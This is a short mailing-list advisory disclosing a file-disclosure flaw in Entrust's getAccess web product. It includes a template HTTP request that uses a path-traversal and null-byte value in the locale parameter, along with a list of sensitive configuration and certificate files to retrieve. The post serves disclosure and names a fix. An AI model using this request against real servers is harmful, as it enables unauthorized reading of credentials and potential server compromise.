Hola VulnWatch,

this is another posting(see 1st here http://www.securityfocus.com/bid/3109)
about Entrust s "getAccess[tm]" product

Problem Description:

"getAccess[tm]" (still) uses default shellscripts which start java-classes
for their web-applications.

due to missing input-validation it is possible to read files with getAccess
s permissions
on the "getaccess"-machine. (only works in combination with other input
fields as described below)
in connection with config- and other files this can lead to a
total server-compromise(dont ask me how:-).

Example:

a HTTP-request to:
http://getAccessHostname/sek-bin/helpwin.gas.bat?

with the following parameters:
mode=
&draw=x
&file=x
&module=
&locale= [relative FILE/PATH] [Nullbyte/0x00] [Backslash/0x5c]
&chapter=

... will lead to disclosure of [FILE/PATH]

Config-Filelist(depends heavily on config!):

/config/acl-runtime.conf
/config/administration.conf
/config/applist.conf
/config/authmethod.conf
/config/clientCert.conf
/config/connection.conf
/config/directories.conf
/config/domainAuth.conf
/config/hook.conf
/config/license.conf
/config/log.conf
/config/login.conf
/config/misc.conf
/config/pmda.conf
/config/redirection.conf
/config/registry.conf
/config/serverCert.conf
/config/serverConnection.conf
/config/source_systems.conf
/config/version.conf
/config/serverReq.pem
/config/serverCert.pem
/config/certs

patch/fix: is already availiable and has allready be posted on BUQTRAQ

recomannded fix: sanitize meta-characters from user-input

personal remark: using shell-scripts for security-related software has
always been dangerous!!!

nice day,
